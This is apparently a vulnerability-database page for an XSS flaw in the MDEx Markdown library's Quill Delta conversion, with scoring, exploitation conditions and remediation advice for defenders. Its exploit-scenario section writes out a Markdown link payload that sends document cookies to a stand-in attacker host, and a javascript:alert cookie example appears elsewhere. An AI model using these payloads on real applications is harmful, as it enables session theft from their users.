Skip to main content

MDEx EUVDEUVD-2026-40178

| CVE-2026-54889 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-29 EEF
5.1
CVSS 4.0 · Vendor: EEF
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker supplies Markdown with javascript: link
  2. Delivery
    MDEx to_delta/2 invoked on server
  3. Exploit
    DeltaConverter copies URL without scheme validation
  4. Install
    Delta JSON stored or served with malicious attribute
  5. C2
    Downstream renderer generates HTML anchor with javascript: href
  6. Execute
    Victim clicks rendered link
  7. Impact
    JavaScript executes in victim's browser context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent architectural conditions to be met. First, the target application must invoke MDEx's to_delta/2 function specifically - other MDEx rendering modes are not described as vulnerable through this code path, so applications that never produce Quill Delta output are not exposed. Second, the attacker must be able to supply or influence the Markdown text that is passed to to_delta/2 - i.e., user-controlled or attacker-influenced Markdown must reach the DeltaConverter without prior URL scheme sanitization. Third, the resulting Quill Delta must be rendered to HTML by a downstream renderer (such as quill-delta-to-html or the Quill.js client) that materializes 'link' or 'image' attributes into actual HTML <a href> or <img src> tags. Additionally, for the primary attack vector (javascript: in href), a victim user must click the rendered link (UI:A per the CVSS 4.0 vector). The image variant is further limited because modern browsers generally do not execute javascript: URIs in <img src>. Applications that store or transport the Delta JSON without rendering to HTML do not immediately trigger the XSS, but the unsafe payload persists in the stored Delta until a renderer processes it.

Impact

The CVSS 4.0 score of 5.1 (Medium) accurately reflects the real-world risk profile. AV:N confirms the attack is network-reachable, but UI:A (user interaction required - specifically a click for the href vector) and the limited VC:L/VI:L/SC:L/SI:L impact ratings correctly scope the blast radius to low-level confidentiality and integrity effects, primarily cookie or session token theft and page content manipulation. The image vector (javascript: in img src) is further limited because modern browsers generally refuse to execute javascript: URIs in img src attributes, making the href/link and wikilink cases the primary concern. The multi-step exploitation requirement - attacker-controlled Markdown input, MDEx to_delta/2 code path invoked, Delta rendered to HTML by a downstream renderer, and victim user interaction - meaningfully constrains the exposed population to applications that satisfy all three architectural conditions simultaneously. No CISA KEV listing and no EPSS data were provided; active exploitation is not confirmed, and the targeting profile appears opportunistic rather than widespread. This is a genuine medium-priority patch for affected applications, not a crisis, but applications accepting untrusted Markdown for Quill-rendered output should treat it as urgent given the trivial attack syntax.

Exploit ScenarioDerived

An attacker submits a Markdown document to a user-content field in an application that uses MDEx's to_delta/2 - for example, a comment system, wiki, or collaborative editor - containing a payload such as [click here](javascript:fetch('https://attacker.example/c?d='+document.cookie)). The application stores or serves the resulting Quill Delta, which retains the javascript: URL verbatim in the 'link' attribute; when any victim's browser renders that Delta to HTML via quill-delta-to-html or the Quill.js client and the victim clicks the link, the attacker's JavaScript executes in the victim's browser context, exfiltrating session cookies or performing actions on the victim's behalf. No public exploit code has been identified at time of analysis, though the attack requires only standard Markdown link syntax and no specialized tooling.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 29, 2026

Cross-site scripting in MDEx (Elixir Markdown library by leandrocp), versions 0.8.3 through 0.13.1, allows any attacker who can supply Markdown content to inject javascript: URLs that execute in the browser of any user who views the downstream-rendered output. The MDEx to_delta/2 function copies link, wikilink, and image URLs verbatim into Quill Delta attributes without a scheme allowlist, meaning a crafted payload like [click](javascript:alert(document.cookie)) survives intact; when a downstream renderer such as quill-delta-to-html converts that Delta to HTML, the javascript: scheme becomes an executable href. No public exploit has been identified at time of analysis, though the attack requires only standard Markdown syntax, and a vendor-released patch is available in version 0.13.2.

RemediationAI

Upgrade MDEx to version 0.13.2 or later, which is the vendor-released patch that resolves the missing scheme allowlist in DeltaConverter. The specific fix is available in commit 2817147f5b87ce7186aa604c9ee72499485b8f2f at https://github.com/leandrocp/mdex/commit/2817147f5b87ce7186aa604c9ee72499485b8f2f, and the full vendor advisory is at https://github.com/leandrocp/mdex/security/advisories/GHSA-4383-7xfp-gpph. For applications that cannot immediately upgrade, a compensating control is to sanitize all Delta 'link' and 'image' attribute values at the rendering layer before passing the Delta to quill-delta-to-html or the Quill.js client - reject or strip any URL whose scheme is not in an explicit allowlist of http, https, and mailto (or ftp if required). Note that server-side input validation on the raw Markdown text before calling to_delta/2 is insufficient as a standalone control, because the unsafe scheme is copied into the intermediate Delta structure and persists until rendering; the sanitization must occur at the point where the Delta is materialized into HTML.

Affected VersionsENISA

mdex 0.8.3 <0.13.2
mdex 9852db2456fdc9d856eb636603a7f608e22e3793 <2817147f5b87ce7186aa604c9ee72499485b8f2f

Affected Packages

euvd mdex fix: 0.13.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

MDEx (CPE: cpe:2.3:a:leandrocp:mdex) is an Elixir library that converts Markdown into multiple output formats, including Quill Delta - a JSON-based rich-text representation used by the Quill.js editor ecosystem. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation): the function Elixir.MDEx.DeltaConverter.default_convert_node/3 in lib/mdex/delta_converter.ex extracts the URL value from parsed link, wikilink, and image AST nodes and copies it directly into the Delta 'link' or 'image' attribute without applying any scheme allowlist or normalization. MDEx itself does not render HTML - it produces an intermediate Delta structure - so the vulnerability is latent in the Delta JSON until a downstream renderer (quill-delta-to-html, Quill.js client) materializes it into actual HTML <a href> or <img src> attributes. This two-stage architecture means the XSS payload is injected at the Elixir server layer but detonates in the end user's browser, crossing a trust boundary that the CVSS 4.0 SC:L/SI:L subsequent-system metrics correctly reflect.

Know when Mdex gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (EEF) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered XSS with scope change to victim browser; user click required (UI:R); no privileges needed to submit Markdown input to the application.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (EEF).

CVSS VectorVendor: EEF

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Improper Neutralization of Input During Web Page Generation (XSS) vulnerability in leandrocp mdex allows cross-site scripting via unsanitized URL schemes in Quill Delta output.

'Elixir.MDEx':to_delta/2 converts Markdown into a Quill Delta. 'Elixir.MDEx.DeltaConverter':default_convert_node/3 in lib/mdex/delta_converter.ex copies the URL of a link, wikilink, or image node directly from the parsed Markdown into the Delta "link" or "image" attribute without applying a scheme allowlist or any normalization.

An attacker who controls the Markdown text can supply a javascript: URL (for example [click](javascript:alert(document.cookie))) that survives verbatim into the Delta attribute. When the Delta is rendered to HTML by a downstream renderer (such as quill-delta-to-html or the Quill client), the attribute becomes an <a href> or <img src>, and the javascript: scheme executes in the browser of anyone who views the rendered content. The link and wikilink cases are the strongest vectors because javascript: in an href executes on click; the image case is lower impact because javascript: in <img src> generally does not execute in modern browsers.

This issue affects mdex: from 0.8.3 before 0.13.2.

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Prevalence
Low
niche Elixir library for Quill Delta rendering
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy